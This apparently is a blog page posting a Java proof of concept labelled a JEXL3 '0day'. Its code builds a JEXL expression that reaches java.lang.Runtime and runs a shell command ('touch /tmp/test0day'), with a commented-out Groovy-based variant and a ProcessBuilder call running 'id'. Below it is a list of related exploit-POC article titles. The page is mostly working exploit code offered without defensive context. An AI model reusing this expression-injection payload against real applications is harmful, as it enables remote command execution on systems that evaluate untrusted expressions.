jxel3 0day poc

简介: import java.io.IOException; import java.util.
import java.io.IOException;
import java.util.List;


import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlContext;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;
import org.codehaus.groovy.runtime.ProcessGroovyMethods;


public class elExp {
public static void main(String args[]) throws IOException {
// Create or retrieve an engine
   JexlEngine jexl = new JexlBuilder().create();
   // Create an expression
   //String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
   
   //String jexlExp = "new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch /tmp/jexlExp0day\")";
   String jexlExp = "1.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"touch /tmp/test0day\")";
   JexlExpression e = jexl.createExpression( jexlExp );
   try {
   
Process process = new ProcessBuilder("id").start();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
   // Create a context and add data
   JexlContext jc = new MapContext();
   jc.set("foo", jexlExp );
   
   // Now evaluate the expression, getting the result
   Object o = e.evaluate(jc);
   System.out.println(o);
   }
}
目录
相关文章
|
SQL 安全
初探POC编写
初探POC编写
251 0
初探POC编写
|
10月前
|
安全 关系型数据库 MySQL
渗透测试——upload-labs环境部署
渗透测试——upload-labs环境部署
870 0
|
11月前
|
存储 安全 Java
内含POC丨S2-061(CVE-2020-17530)
本文仅是对S2-061进行复现,并且对复现的过程进行记录
|
11月前
|
XML 存储 安全
CVE-2022-30190 Follina Office RCE分析【附自定义word模板POC】
CVE-2022-30190 Follina Office RCE分析【附自定义word模板POC】
|
存储 大数据
poc&i3g8x机型1T数据TPCDS测试
poc&i3g8x机型1T数据TPCDS测试
114 0
|
XML 安全 Java
网站apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现
S2-057漏洞,于2018年8月22日被曝出,该Struts2 057漏洞存在远程执行系统的命令,尤其使用linux系统,apache环境,影响范围较大,危害性较高,如果被攻击者利用直接提权到服务器管理员权限,网站数据被篡改,数据库被盗取都会发生。
126 0
网站apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现
|
Java Apache
[附POC]Apache Struts2最新(CVE-2017-5638,S02-45)POC
#! /usr/bin/env python # encoding:utf-8 import urllib2 import sys from poster.encode import multipart_encode from poster.
1418 0
|
存储 Windows 网络安全